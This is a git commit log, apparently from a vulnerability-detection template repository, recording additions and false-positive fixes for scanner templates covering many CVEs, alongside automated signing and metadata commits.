ghost 86f850f956 chore: generate templates checksum 🤖 2026-10-26 05:52:51 +00:00
ghost de8c0f40b5 chore: generate new addition list 🤖 2026-10-26 05:51:41 +00:00
ghost 3fd7504bfd chore: generate CVEs metadata 🤖 2026-10-26 05:50:42 +00:00
ghost 8c5a5c9e76 chore: sign templates 🤖 2026-10-26 05:50:37 +00:00
Aman Rawat 9720ddcc91 Merge pull request #17506 from protonnegativo/fix/tag-typos
Fix tag typos in 12 templates
2026-10-26 11:20:16 +05:30
ghost 9c8398ee8b chore: generate templates checksum 🤖 2026-10-26 05:47:55 +00:00
ghost cf4a3e4ec0 chore: sign templates 🤖 2026-10-26 05:47:10 +00:00
ghost 85936c3460 chore: generate CVEs metadata 🤖 2026-10-26 05:46:50 +00:00
ghost 6d8ffc872c chore: generate new addition list 🤖 2026-10-26 05:46:46 +00:00
ghost b60c257d34 chore: sign templates 🤖 2026-10-26 05:46:43 +00:00
973eabffec Add CVE-2026-116067 - Paisa unauthenticated path traversal (#17537)
* Add CVE-2026-116067 - Paisa unauthenticated path traversal

* Revise CVE-2026-116067 information and remediation

Updated CVE-2026-116067 details, including versioning and impact.

---------

Co-authored-by: Roberto Nunes <[email protected]>
Co-authored-by: Dhiyaneshwaran <[email protected]>
2026-10-26 11:16:36 +05:30
Aman Rawat c89e5be426 Merge pull request #17456 from anirbala98/add-cve-2026-9062
Add CVE-2026-9062 - WordPress plugin Agile Store Locator < 1.6.9 - Authenticated Arbitrary File Read
2026-10-26 11:16:21 +05:30
ghost fb15a4c4e6 chore: sign templates 🤖 2026-10-26 05:45:59 +00:00
c2ad6fc21f Add Danfoss AK-SM 800A detection template (#17423)
* Add Danfoss AK-SM 800A detection template

* Update danfoss-ak-sm-800a-panel.yaml

---------

Co-authored-by: flukes86 <[email protected]>
Co-authored-by: Ritik Chaddha <[email protected]>
Co-authored-by: Dhiyaneshwaran <[email protected]>
2026-10-26 11:15:40 +05:30
Aman Rawat 7b079a46e6 Update open-redirect-bypass.yaml 2026-10-26 11:15:34 +05:30
ghost d0ba3e2912 chore: sign templates 🤖 2026-10-26 05:45:23 +00:00
kadewu 82673b199c fix CVE-2019-5544 False Positives (#17451) 2026-10-26 11:15:02 +05:30
ghost 5998d27e74 chore: generate new addition list 🤖 2026-10-26 05:44:41 +00:00
ghost b58fe32071 chore: generate new addition list 🤖 2026-10-26 05:44:37 +00:00
ghost df13e3336f chore: generate CVEs metadata 🤖 2026-10-26 05:44:05 +00:00
ghost 82cd329839 chore: sign templates 🤖 2026-10-26 05:43:51 +00:00
Balachandar GowrisankarandRitik Chaddha a7c9209262 Add CVE-2026-17540 - WordPress plugin Bit File Manager < 6.9.1 - Authenticated Arbitrary File Read (#17497)
* Added CVE-2026-17540 Template

* Update CVE-2026-17540.yaml

---------

Co-authored-by: Ritik Chaddha <[email protected]>
2026-10-26 11:13:39 +05:30
Aman Rawat fc0ed25664 Merge pull request #17519 from righettod/opencloud_add
Add detection of "OPENCLOUD" instances.
2026-10-26 11:13:29 +05:30
ghost 9cac99b65b chore: generate templates checksum 🤖 2026-10-26 05:41:48 +00:00
ghost 2bac0f0c71 chore: generate new addition list 🤖 2026-10-26 05:40:34 +00:00
ghost 1229ec969b chore: generate templates checksum 🤖 2026-10-26 05:40:04 +00:00
ghost 295ac32d7c chore: sign templates 🤖 2026-10-26 05:40:00 +00:00
Aman Rawat 22bee58309 Merge pull request #17522 from projectdiscovery/CVE-2026-111497
CVE-2026-111497 - Node.js Brotli Request-Body Integer Overflow (node2shell) - Remote Code Execution
2026-10-26 11:09:42 +05:30
ghost fcbb8dbdb1 chore: generate new addition list 🤖 2026-10-26 05:39:34 +00:00
ghost df51d0ffce chore: sign templates 🤖 2026-10-26 05:38:45 +00:00
ghost db5608c1c6 chore: generate new addition list 🤖 2026-10-26 05:38:27 +00:00
Aman Rawat 0dc2b49f4b Merge pull request #17532 from kosoyyagent/jetpack-xss
feat: add Jetpack <16.1.3 reflected XSS template
2026-10-26 11:08:26 +05:30
github-actions[bot] 67d138190d chore: add impact and remediation fields 🤖 2026-10-26 05:38:13 +00:00
ghost b867b1d536 chore: generate new addition list 🤖 2026-10-26 05:37:56 +00:00
ghost 14bd82d478 chore: generate CVEs metadata 🤖 2026-10-26 05:37:46 +00:00
ghost 651af9a88e chore: sign templates 🤖 2026-10-26 05:37:42 +00:00
Aman Rawat 50947be9f0 Merge pull request #17431 from carfeii/cve-2026-102878-mcp-chrome-bridge
Add template for CVE-2026-102878 (mcp-chrome-bridge CORS origin bypass)
2026-10-26 11:07:20 +05:30
ghost 6cd3bfcdf6 chore: sign templates 🤖 2026-10-26 05:37:14 +00:00
ghost ea13ab9a49 chore: generate new addition list 🤖 2026-10-26 05:36:57 +00:00
Aman Rawat 29d3b7e0ce Merge pull request #17455 from ashish-cybersec/Add-CVE-2026-59707
Add CVE-2026-59707 - LocalAI unauthenticated SSRF in /models/apply
2026-10-26 11:06:55 +05:30
ghost 898b71da47 chore: generate CVEs metadata 🤖 2026-10-26 05:36:18 +00:00
ghost 61cf3c41c9 chore: sign templates 🤖 2026-10-26 05:36:14 +00:00
Aman Rawat d000c6eaf8 Merge pull request #17410 from HaroonArshad-53/add-CVE-2026-102782
Add CVE-2026-102782 - OrdaSoft Simple Membership unauthenticated SQL injection
2026-10-26 11:05:52 +05:30
Roberto Nunes 7687899fbe Update author field in jetpack-reader-xss.yaml 2026-10-26 13:29:19 +09:00
Roberto Nunes d04c753f36 Update jetpack-reader-xss.yaml 2026-10-26 13:28:36 +09:00
Dhiyaneshwaran f19bed061a Update CVE-2026-93485.yaml 2026-10-26 09:42:10 +05:30
Dhiyaneshwaran 6d60b8a8cc CVE-2026-93485 - WordPress Core < 7.1.1 - Unauthenticated Stored XSS via Comment (Comment2Shell) 2026-10-26 09:41:14 +05:30
ghost d1a086790a chore: generate templates checksum 🤖 2026-10-26 03:18:24 +00:00
ghost e876a61b7f chore: sign templates 🤖 2026-10-26 03:15:41 +00:00
ghost 803bc20304 chore: update KEV and vKEV tags and metadata 🤖 2026-10-26 03:15:15 +00:00
Roberto Nunes e5e78c2959 Create CVE-2026-7873.yaml 2026-10-26 11:50:28 +09:00
ghost 89d48e86c9 chore: generate templates checksum 🤖 2026-10-26 02:12:59 +00:00
ghost 91362b7da7 chore: sign templates 🤖 2026-10-26 02:10:32 +00:00
ghost ae606bfb31 chore: update EPSS scores 🤖 2026-10-26 02:10:03 +00:00
alex700 f9a2519c15 docs: describe Elementor login prerequisites 2026-10-25 13:51:05 -07:00
alex700 7ad7e44c94 fix: authenticate Langflow MCP probe inside template 2026-10-25 13:28:12 -07:00
alex700 4085f77e76 fix: anchor Elementor login cookie extraction 2026-10-25 13:28:12 -07:00
alex700 71ff3fdcb4 fix: authenticate Elementor nonce bypass check 2026-10-25 13:24:17 -07:00
ghost 8044942b00 chore: generate templates checksum 🤖 2026-10-25 16:22:51 +00:00
ghost 2474674409 chore: sign templates 🤖 2026-10-25 16:20:00 +00:00
Mzack9999 f2cd789729 Merge pull request #17543 from projectdiscovery/waf-detect-netscaler
Detect Citrix NetScaler in waf-detect
2026-10-25 17:19:39 +01:00
Mzack9999 271064f14d detect netscaler 2026-10-25 17:06:29 +01:00
kosoyyagent 5c6e5e396f Add CVE-2026-116006 - ruoyi-vue-pro predictable SMS code admin takeover 2026-10-25 19:03:33 +03:00
Ritik Chaddha 9016965510 Update CVE-2026-9848.yaml 2026-10-25 21:24:13 +05:30
kosoyyagent 16020f18a1 Add CVE-2026-115886 - MLflow unauthenticated SSRF via third-party scorer 2026-10-25 17:18:48 +03:00
kosoyyagent bef6f4f81a feat: add CVE-2026-114509 Laravel TokenGuard auth bypass 2026-10-25 15:47:26 +03:00
Ritik Chaddha cbcec8c33e Update CVE-2026-9062.yaml 2026-10-25 17:55:38 +05:30
Ritik Chaddha 5538085473 Update CVE-2026-59707.yaml 2026-10-25 17:53:18 +05:30
Ritik Chaddha 623aae61a7 Update CVE-2026-102782.yaml 2026-10-25 17:42:07 +05:30
Dhiyaneshwaran de6a8da2c1 Update and rename http/cves/2026/CVE-2026-111497.yaml to http/javascript/cves/2026/CVE-2026-111497.yaml 2026-10-25 16:55:21 +05:30
Ritik Chaddha c1f2a75547 Update CVE-2026-102878.yaml 2026-10-25 16:54:35 +05:30
kosoyyagent 8a42f8944f feat: add Jetpack <16.1.3 reflected XSS template (closes #17512) 2026-10-25 13:18:31 +03:00
Ritik Chaddha 499b129ed5 Update opencloud-detect.yaml 2026-10-25 14:36:57 +05:30
anirbala98 32a026d184 Add CVE-2026-12970.yaml 2026-10-25 04:39:47 -04:00
kosoyyagent a4e3b7ab69 Add CVE-2026-97359 - Rejetto HFS 2.4.x filename template injection RCE
Closes #17486
2026-10-25 11:37:23 +03:00
kosoyyagent 0211fa352b Add huang-yaoshi-file-upload - unauthenticated arbitrary file upload
Closes #11489
2026-10-25 11:36:02 +03:00
kosoyyagent 9b7d492e18 Add diafan-cms-xss - Diafan CMS 6.0 reflected XSS
Closes #13229
2026-10-25 11:34:25 +03:00
Dhiyaneshwaran af62470abf CVE-2026-111497 - Node.js Brotli Decoder <=26.12.0 - OOB Write Detection (node2shell) 2026-10-25 13:52:20 +05:30
Sandiyo Christan 2b89cce64e Added CVE-2026-10525 NEX-Forms Unauthenticated Stored XSS Template 2026-10-25 12:52:56 +05:30
Sandiyo Christan 451d2da08a Added CVE-2026-53468 Typemill CMS Stored XSS Template 2026-10-25 12:41:53 +05:30
Dominique RIGHETTO 50a2505f60 Add files via upload 2026-10-25 06:54:31 +01:00
ghost b6fd8ba791 chore: generate templates checksum 🤖 2026-10-25 03:15:54 +00:00
ghost d3ef2c41e5 chore: sign templates 🤖 2026-10-25 03:12:56 +00:00
ghost 9aa76a474c chore: update KEV and vKEV tags and metadata 🤖 2026-10-25 03:12:30 +00:00
anirbala98 7be0fb6425 Update CVE-2026-16959.yaml 2026-10-24 22:19:49 -04:00
ghost f5790190de chore: generate templates checksum 🤖 2026-10-25 02:09:36 +00:00
ghost b3c9a94f04 chore: sign templates 🤖 2026-10-25 02:06:46 +00:00
ghost ea29634803 chore: update EPSS scores 🤖 2026-10-25 02:06:20 +00:00
Boreas37 bed66e5efe Add CVE-2026-85595 (Traefik digestAuth authentication bypass) template 2026-10-25 03:16:32 +03:00
ghost b7a9b6871d chore: generate templates checksum 🤖 2026-10-25 00:05:00 +00:00
ghost 3547cfc37a chore: generate CVEs metadata 🤖 2026-10-25 00:02:54 +00:00
ghost af9bdae8c9 chore: generate new addition list 🤖 2026-10-25 00:02:52 +00:00
github-actions[bot] 4264ee75ee chore: add impact and remediation fields 🤖 2026-10-25 00:02:50 +00:00
ghost 76ae108112 chore: sign templates 🤖 2026-10-25 00:02:46 +00:00
755e8d74f0 Fixed CVE-2025-54988 Apache Tika XXE template (#17385)
* Fixed CVE-2025-54988 Apache Tika XXE template

Replace the version-agnostic echo matcher with an active XFA XXE
file-read proof gated by a vulnerable version check, eliminating
false positives on patched and non-vulnerable Tika instances.

Co-Authored-By: Claude Opus 4.8 <[email protected]>

* Update CVE-2025-54988.yaml

* Update CVE-2025-54988.yaml

---------

Co-authored-by: Claude Opus 4.8 <[email protected]>
Co-authored-by: Ritik Chaddha <[email protected]>
2026-10-25 05:32:27 +05:30
ghost b5e41dd367 chore: sign templates 🤖 2026-10-25 00:02:07 +00:00
ArjunSecurinandRitik Chaddha caccaa61b6 Add CVE-2010-1428 (Red Hat JBoss unauthenticated Web/JMX console access) (#17340)
* Add CVE-2010-1428 (Red Hat JBoss unauthenticated Web/JMX console access)

* Fix CVE-2010-1428 weak matcher: drop path-derived words (web-console/ServerInfo) that matched honeypot; keep JBoss-specific content markers

* Update CVE-2010-1428.yaml

---------

Co-authored-by: Ritik Chaddha <[email protected]>
2026-10-25 05:31:45 +05:30
shaivarth a6d21e94d5 fix: reduce false positives in Azure Pipelines exposure template
Signed-off-by: shaivarth <[email protected]>
2026-10-24 15:20:48 +05:30
anirbala98 d17be15503 Added CVE-2026-16959 Template 2026-10-24 05:16:33 -04:00
mayoubmalik1-blip ff2dc8dc5a Added dvwa-setup template 2026-10-24 11:07:06 +05:00
ghost d576b576fb chore: generate templates checksum 🤖 2026-10-24 04:19:29 +00:00
github-actions[bot] 39e70c5233 chore: add impact and remediation fields 🤖 2026-10-24 04:18:30 +00:00
ghost ccdf81fcca chore: generate new addition list 🤖 2026-10-24 04:17:13 +00:00
ghost 3901fcde77 chore: generate CVEs metadata 🤖 2026-10-24 04:16:46 +00:00
ghost 4dffe61d22 chore: sign templates 🤖 2026-10-24 04:16:39 +00:00
Flavio BavaandRitik Chaddha 4e2ef271d4 Add template for CVE-2026-18110 (#17346)
* Add template for CVE-2026-18110

* Update CVE-2026-18110.yaml

---------

Co-authored-by: Ritik Chaddha <[email protected]>
2026-10-24 09:46:20 +05:30
ghost cf1e3a29af chore: generate templates checksum 🤖 2026-10-24 03:14:13 +00:00
ghost 0b61a26dce chore: sign templates 🤖 2026-10-24 03:12:00 +00:00
ghost f19d293c68 chore: update KEV and vKEV tags and metadata 🤖 2026-10-24 03:11:35 +00:00
protonnegativo b7ddb2f386 Fixed tag typos 2026-10-24 00:10:03 -03:00
ghost 0ceac37bd5 chore: generate templates checksum 🤖 2026-10-24 02:08:13 +00:00
ghost 274cd86cdd chore: sign templates 🤖 2026-10-24 02:05:20 +00:00
ghost b1fb4f9d22 chore: update EPSS scores 🤖 2026-10-24 02:04:54 +00:00
ghost 1f4c3f6568 chore: generate templates checksum 🤖 2026-10-23 13:40:13 +00:00
ghost ebc64a1997 chore: generate new addition list 🤖 2026-10-23 13:37:54 +00:00
ghost 7b645f9a0a chore: generate CVEs metadata 🤖 2026-10-23 13:37:31 +00:00
ghost 3af0e98b8e chore: sign templates 🤖 2026-10-23 13:37:24 +00:00
Ritik Chaddha 012ab4ca33 Merge pull request #17464 from projectdiscovery/CVE-2026-89079
CVE-2026-89079 - Theme My Login <= 7.2.1 - Unauthenticated Privilege Escalation (WordPress Multisite)
2026-10-23 19:07:03 +05:30
ghost 16e5ecac9c chore: generate templates checksum 🤖 2026-10-23 12:44:49 +00:00
ghost f81b35805f chore: generate new addition list 🤖 2026-10-23 12:42:49 +00:00
Ritik Chaddha b0fc577a5c Merge branch 'main' into CVE-2026-89079 2026-10-23 18:12:46 +05:30
ghost 4e948f53d0 chore: generate CVEs metadata 🤖 2026-10-23 12:42:05 +00:00
ghost 7e0ad8f725 chore: sign templates 🤖 2026-10-23 12:42:00 +00:00
Ritik Chaddha 8b5fed0636 Merge pull request #17463 from projectdiscovery/CVE-2026-82901
CVE-2026-82901 - Ultimate Addons for Contact Form 7 <= 3.5.50 - Unauthenticated Arbitrary File Upload
2026-10-23 18:11:38 +05:30
ghost ed28399211 chore: generate templates checksum 🤖 2026-10-23 12:34:05 +00:00
Ritik Chaddha 8d0e99df81 Update CVE-2026-89079.yaml 2026-10-23 18:02:27 +05:30
Ritik Chaddha aba3d752b5 Update CVE-2026-82901.yaml 2026-10-23 18:01:54 +05:30
ghost 3476b76b86 chore: sign templates 🤖 2026-10-23 12:31:51 +00:00
ghost 4f1678c752 chore: generate new addition list 🤖 2026-10-23 12:31:49 +00:00
ghost 7241621d12 chore: generate new addition list 🤖 2026-10-23 12:31:40 +00:00
github-actions[bot] 98409a9f8c chore: add impact and remediation fields 🤖 2026-10-23 12:31:31 +00:00
Ritik Chaddha bf913a594a Merge pull request #17458 from pussycat0x/patch-8
Change severity level from low to info
2026-10-23 18:01:28 +05:30
ghost 5588499ad4 chore: generate CVEs metadata 🤖 2026-10-23 12:31:20 +00:00
ghost c7cf1c8114 chore: sign templates 🤖 2026-10-23 12:31:15 +00:00
Ritik Chaddha 57c2a86a1a Merge pull request #17432 from anirbala98/add-cve-2026-16535
Add CVE-2026-16535 - WordPress plugin Link Library < 7.9.4 - Unauthenticated Reflected XSS
2026-10-23 18:00:55 +05:30
Ritik Chaddha e1d3a8d28e Merge pull request #17425 from cham423/cve-2026-27960-fp-fix
CVE-2026-27960: fix false positive on GraphQL validation errors
2026-10-23 18:00:50 +05:30
Ritik Chaddha d39993ee4a Merge pull request #17418 from cham423/cve-2025-58443-fp-fix
CVE-2025-58443: fix false positive on catch-all 200 pages
2026-10-23 18:00:41 +05:30
Ritik Chaddha 2e6a94fc29 Merge pull request #17442 from HaroonArshad-53/fix-CVE-2024-5333-fp
Fix CVE-2024-5333 template false positive by adding version check
2026-10-23 18:00:35 +05:30
Ritik Chaddha 407010f8a1 Merge pull request #17437 from alex700/codex/CVE-2026-89026
Add CVE-2026-89026 Issabel PBX API JWT key detection
2026-10-23 18:00:28 +05:30
ghost dced477f83 chore: generate templates checksum 🤖 2026-10-23 12:30:02 +00:00
ghost 0af45c13d3 chore: generate new addition list 🤖 2026-10-23 12:27:13 +00:00
ghost 55833ae76c chore: generate CVEs metadata 🤖 2026-10-23 12:27:03 +00:00
ghost 32f7853f4c chore: sign templates 🤖 2026-10-23 12:26:54 +00:00
Ritik Chaddha 4cacdc48db Merge pull request #17414 from cham423/cve-2024-29972-fp-fix
CVE-2024-29972: fix false positive on catch-all 200 pages
2026-10-23 17:56:33 +05:30
Ritik Chaddha 39402e532b Merge pull request #17415 from comradezephyr/patch-20
Added CVE-2026-56062 (Quotes llama 3.1.5)
2026-10-23 17:56:20 +05:30
Ritik Chaddha 61d95c0cd5 Update CVE-2026-16535.yaml 2026-10-23 17:55:14 +05:30
Ritik Chaddha 25237d4f28 Merge branch 'main' into cve-2026-27960-fp-fix 2026-10-23 17:54:42 +05:30
Ritik Chaddha f5e2da87e0 Merge branch 'main' into cve-2025-58443-fp-fix 2026-10-23 17:53:57 +05:30
Ritik Chaddha 08f5db654d Update CVE-2026-56062.yaml 2026-10-23 17:53:01 +05:30
Ritik Chaddha 257a6183c2 Merge branch 'main' into cve-2024-29972-fp-fix 2026-10-23 17:50:51 +05:30
ghost bd6a38e702 chore: generate templates stats 🤖 2026-10-23 11:21:53 +00:00
ghost 79fb682760 chore: generate templates checksum 🤖 2026-10-23 09:10:19 +00:00
ghost 4985d26e58 chore: generate CVEs metadata 🤖 2026-10-23 09:08:07 +00:00
ghost eea9c8e047 chore: sign templates 🤖 2026-10-23 09:08:02 +00:00
ab9a7bba7b Fixed CVE-2026-109618 (PHP2Shell) version fallback false negatives (#17493)
* Fixed CVE-2026-109618 version fallback false negatives

Align the version fallback with the official affected range from
GHSA-w8hw-w9fx-j79w and GHSA-6wmf-4rv5-p3rp (< 8.2.35, < 8.3.36,
< 8.4.27, < 8.5.12):

- report EOL branches below 8.2 instead of returning null
- run the version fallback when a probe is rejected (e.g. nginx 413)
- treat dev/alpha/beta/RC builds of fixed versions as vulnerable
- read the PHP version from the Server header as well

* Update CVE-2026-109618.yaml

---------

Co-authored-by: Roberto Nunes <[email protected]>
Co-authored-by: Dhiyaneshwaran <[email protected]>
2026-10-23 14:37:41 +05:30
ghost 9f0feaf94e chore: generate templates checksum 🤖 2026-10-23 09:04:38 +00:00
ghost 077a9d272b chore: generate new addition list 🤖 2026-10-23 09:01:34 +00:00
ghost d31343e495 chore: generate templates checksum 🤖 2026-10-23 09:00:57 +00:00
ghost 418a7f2d79 chore: sign templates 🤖 2026-10-23 09:00:50 +00:00
akandAman Rawat 4fe08181d3 Add CVE-2026-90817 - REDCap >= 13.3.0 Unauthenticated RCE via Survey Passthru (#17446)
* Add CVE-2026-90817 - REDCap >= 13.3.0 Unauthenticated RCE via Survey Passthru

* Fix CVE-2026-90817 template metadata and request flow

- Remove the malformed first request block (GET {{BaseURL}}&__passthru=...):
  for a bare-host target {{BaseURL}} has no query string, so the request
  never matched. The survey-hash discovery block now runs first and feeds
  {{survey_hash}} into the passthru probe.
- Remove the kev tag: CVE-2026-90817 is not in the CISA KEV catalog
  (checked against catalog 2026.10.16, 1748 entries).
- Set verified: false. The matcher has not been exercised against a live
  instance; validated locally with nuclei -validate and against a mock.
- Align cwe-id with the CVE record (CWE-73,CWE-94) and set max-request: 4
  (the template can send up to 4 requests).
- Add the Securifera advisory to references.

* Update CVE-2026-90817.yaml

---------

Co-authored-by: Aman Rawat <[email protected]>
2026-10-23 14:30:29 +05:30
ghost 620a31d72f chore: generate templates checksum 🤖 2026-10-23 08:39:46 +00:00
ghost 0bd0cd070a chore: generate new addition list 🤖 2026-10-23 08:37:55 +00:00
ghost 1d269025d8 chore: sign templates 🤖 2026-10-23 08:37:26 +00:00
Roberto Nunes f5f39e2ba0 Create CVE-2026-76460.yaml (#17501) 2026-10-23 14:07:00 +05:30
Haroon Arshad aea7d9705d re-sync with upstream main: keep digest line verbatim 2026-10-23 11:28:40 +05:00
Haroon Arshad 42dcaaac89 re-sync with upstream main: keep digest line verbatim (epss 0.65891) 2026-10-23 11:27:30 +05:00
Ashish Pulivarthy cd731490fb Add CVE-2026-55864 for GeoNetwork SSRF vulnerability 2026-10-23 09:46:25 +04:00
ghost 9d44f1a4e6 chore: generate templates checksum 🤖 2026-10-23 03:15:40 +00:00
ghost 1a922f88e9 chore: sign templates 🤖 2026-10-23 03:12:42 +00:00
ghost b1cc5e542b chore: update KEV and vKEV tags and metadata 🤖 2026-10-23 03:12:20 +00:00
ghost 29cb3656ca chore: generate templates checksum 🤖 2026-10-23 02:10:20 +00:00
ghost caecd6fa6d chore: sign templates 🤖 2026-10-23 02:07:15 +00:00
ghost 608a8e3f28 chore: update EPSS scores 🤖 2026-10-23 02:06:44 +00:00
ghost afedc6d516 chore: generate templates checksum 🤖 2026-10-23 01:41:30 +00:00
ghost 7f12d5ac58 chore: generate new addition list 🤖 2026-10-23 01:39:13 +00:00
ghost 4d99a98b71 chore: generate CVEs metadata 🤖 2026-10-23 01:38:36 +00:00
ghost 7cdac00d07 chore: sign templates 🤖 2026-10-23 01:38:30 +00:00
Roberto Nunes f998684f37 Merge pull request #17376 from Het-Kalariya/main
Het Kalariya
2026-10-23 08:38:07 +07:00
Houssam Miliani 9d8c15915d Add open redirect bypass payload to YAML file 2026-10-22 16:36:49 +01:00
cham423andClaude Opus 4.8 5e368d1904 springboot-x-application-context: fix word matcher that never matches
The detection matcher is a `type: word` matcher whose word is a regular
expression (`^X-Application-Context:\s*\S.+$`). A word matcher does a
literal substring search, so it looks for those bytes verbatim in the
response headers and is always false. With `matchers-condition: and` the
template never matches, even on a host that sends the X-Application-Context
header.

The intended pattern already exists just below, in the extractor
(`(?m)^X-Application-Context:\s*(\S.+)$`). Fold the status and header
checks into one `type: dsl` matcher that runs that regex against the
response headers and keeps the 200 requirement.

Co-Authored-By: Claude Opus 4.8 <[email protected]>
2026-10-22 07:51:46 -07:00
anirbala98 ccbba9a97d Update metadata 2026-10-22 10:31:16 -04:00
anirbala98 d2293afe3b Added CVE-2026-11565 Template 2026-10-22 09:13:24 -04:00
ghost f938a3dd53 chore: generate templates checksum 🤖 2026-10-22 12:21:34 +00:00
ghost 30b11ec5c9 chore: generate new addition list 🤖 2026-10-22 12:18:24 +00:00
ghost 6722bd206d chore: generate CVEs metadata 🤖 2026-10-22 12:17:57 +00:00
ghost a72491d045 chore: sign templates 🤖 2026-10-22 12:17:44 +00:00
Aman Rawat 765c274813 Merge pull request #17491 from projectdiscovery/CVE-2026-85097
CVE-2026-85097 - Bricksforge WordPress Plugin <=3.1.8.9 - Unauthenticated Arbitrary File Upload
2026-10-22 17:47:22 +05:30
Ashish Pulivarthy 404e0053a2 Merge branch 'main' into Add-CVE-2026-59707 2026-10-22 15:48:00 +04:00
kadewu acb3552afb missing intrusive tag in code/cves/2022/CVE-2022-42475.yaml 2026-10-22 13:46:30 +02:00
ghost 832e3d5982 chore: generate templates checksum 🤖 2026-10-22 11:46:14 +00:00
Ashish Pulivarthy 8345d422fc Merge branch 'main' into Add-CVE-2026-59707 2026-10-22 15:44:46 +04:00
ghost d51019d218 chore: sign templates 🤖 2026-10-22 11:43:22 +00:00
kazet e861598376 Tag placement fix (#17490) 2026-10-22 17:12:59 +05:30
Dhiyaneshwaran 54079aff35 CVE-2026-85097 - Bricksforge WordPress Plugin <=3.1.8.9 - Unauthenticated Arbitrary File Upload 2026-10-22 17:10:19 +05:30
ghost 388f6dea24 chore: generate templates checksum 🤖 2026-10-22 11:16:53 +00:00
ghost e38a55b555 chore: generate CVEs metadata 🤖 2026-10-22 11:14:10 +00:00
ghost f5a4e90390 chore: sign templates 🤖 2026-10-22 11:14:02 +00:00
Prince Chaddha 8540985245 Merge pull request #17489 from projectdiscovery/fix-active-detection
Update CVE ID in CVE-2026-109618.yaml
2026-10-22 15:13:42 +04:00
Dhiyaneshwaran a8845c7e07 Update CVE-2026-109618.yaml 2026-10-22 16:38:00 +05:30
ghost 9ffdf54889 chore: generate templates checksum 🤖 2026-10-22 11:06:58 +00:00
Dhiyaneshwaran 2ec613b058 Update CVE-2026-109618.yaml 2026-10-22 16:35:28 +05:30
ghost 1bfc6f5365 chore: generate new addition list 🤖 2026-10-22 11:04:47 +00:00
ghost cc77372872 chore: generate CVEs metadata 🤖 2026-10-22 11:04:04 +00:00
ghost 770d0162c8 chore: sign templates 🤖 2026-10-22 11:03:57 +00:00
Dhiyaneshwaran 61364c005a Update CVE ID in CVE-2026-109618.yaml 2026-10-22 16:33:39 +05:30
Aman Rawat 5dec8984d4 Merge pull request #17488 from projectdiscovery/CVE-2026-110372
CVE-2026-110372 - WordPress OttoKit Plugin <= 1.1.40 - Unauthenticated Privilege Escalation via connection-denied Token
2026-10-22 16:33:36 +05:30
Aman Rawat ad9be7e901 Update 2026-10-22 16:30:03 +05:30
Dhiyaneshwaran 43b1af6d91 CVE-2026-110372 - WordPress OttoKit Plugin <= 1.1.40 - Unauthenticated Privilege Escalation via connection-denied Token 2026-10-22 15:41:08 +05:30
ghost 6f8a0cd366 chore: generate templates checksum 🤖 2026-10-22 10:07:35 +00:00
ghost 327c66826f chore: generate new addition list 🤖 2026-10-22 10:06:46 +00:00
ghost b2d13aefea chore: generate CVEs metadata 🤖 2026-10-22 10:06:39 +00:00
ghost 771566ad1a chore: generate new addition list 🤖 2026-10-22 10:06:33 +00:00
ghost 0c5c271c81 chore: sign templates 🤖 2026-10-22 10:06:30 +00:00
Roberto Nunes d57e416632 Merge pull request #17474 from anirbala98/add-cve-2026-14870
Add CVE-2026-14870 - WordPress plugin Contact Form Entries < 1.5.3 - Authenticated Reflected XSS
2026-10-22 17:06:10 +07:00
ghost 8348cb6a9e chore: sign templates 🤖 2026-10-22 10:06:04 +00:00
Roberto Nunes b756dc65c2 Merge pull request #17470 from HaroonArshad-53/add-CVE-2026-12800
Add CVE-2026-12800 - Premium Packages unauthenticated SQL injection
2026-10-22 17:05:40 +07:00
Roberto Nunes e2cf5126ee Merge pull request #17416 from comradezephyr/patch-21
Add CVE-2026-103956 vulnerability details
2026-10-22 17:05:25 +07:00
ghost c63cb4c145 chore: generate new addition list 🤖 2026-10-22 10:05:12 +00:00
ghost 3bb0d751df chore: generate CVEs metadata 🤖 2026-10-22 10:04:39 +00:00
ghost 369018a186 chore: sign templates 🤖 2026-10-22 10:04:32 +00:00
Roberto Nunes 1ec3f66b1c Merge pull request #17383 from ArjunSecurin/add-cve-2026-85714
Add CVE-2026-85714 - Stirling PDF <= 2.13.1 - H2 Database Import Remote Code Execution
2026-10-22 17:04:08 +07:00
github-actions[bot] 1284e4d955 chore: add impact and remediation fields 🤖 2026-10-22 10:01:44 +00:00
ghost 7ec53b7b1e chore: sign templates 🤖 2026-10-22 10:01:00 +00:00
ArjunSecurin 94567168fb chore: normalize author to Securin for 4 Securin-contributed templates (#17487)
* chore: set author to Securin for CVE-2017-7504

* chore: set author to Securin for CVE-2019-11043

* chore: set author to Securin for CVE-2020-10221

* chore: set author to Securin for CVE-2010-0738
2026-10-22 15:30:35 +05:30
ghost d121a19dd2 chore: generate templates checksum 🤖 2026-10-22 07:38:19 +00:00
ghost 5e8441b99f chore: generate new addition list 🤖 2026-10-22 07:36:16 +00:00
ghost d035249903 chore: generate CVEs metadata 🤖 2026-10-22 07:35:42 +00:00
ghost d3a70d6a25 chore: sign templates 🤖 2026-10-22 07:35:31 +00:00
Balachandar GowrisankarandDhiyaneshwaran 9cc12b5c89 Add CVE-2026-18937 - WordPress plugin Broken Link Checker < 2.4.12 - Unauthenticated RCE (#17468)
* Added CVE-2026-18937 Template

* Update CVE-2026-18937.yaml

---------

Co-authored-by: Dhiyaneshwaran <[email protected]>
2026-10-22 13:05:11 +05:30
ghost 08ca47cb9b chore: generate templates checksum 🤖 2026-10-22 07:25:17 +00:00
ghost 94c473a075 chore: generate new addition list 🤖 2026-10-22 07:23:07 +00:00
ghost 6ad8796d23 chore: generate CVEs metadata 🤖 2026-10-22 07:22:35 +00:00
ghost b281b816d0 chore: sign templates 🤖 2026-10-22 07:22:23 +00:00
Roberto Nunes d9ef871346 Create CVE-2026-4883.yaml (#17480) 2026-10-22 12:52:04 +05:30
Aman Rawat 1a421402a3 Delete http/cves/2026/CVE-2026-60137.yaml 2026-10-22 12:48:20 +05:30
Aman Rawat cf44110cb4 added author 2026-10-22 12:44:34 +05:30
Aman Rawat bd09008846 Update CVE-2026-85714.yaml 2026-10-22 12:41:13 +05:30
Aman Rawat 9710cc2ad0 Update CVE-2026-103956.yaml 2026-10-22 12:22:49 +05:30
Aman Rawat 5793a76b54 Update CVE-2026-14870.yaml 2026-10-22 12:09:54 +05:30
Aman Rawat 4c9cb9e575 Update CVE-2026-12800.yaml 2026-10-22 12:03:50 +05:30
ghost c915e4f2a2 chore: generate templates checksum 🤖 2026-10-22 06:12:50 +00:00
ghost c059e9a7ee chore: generate new addition list 🤖 2026-10-22 06:10:47 +00:00
Pratham Pawar db6c1783ef Fix false positive in composer-auth-json and correct typo
Signed-off-by: Pratham Pawar <[email protected]>
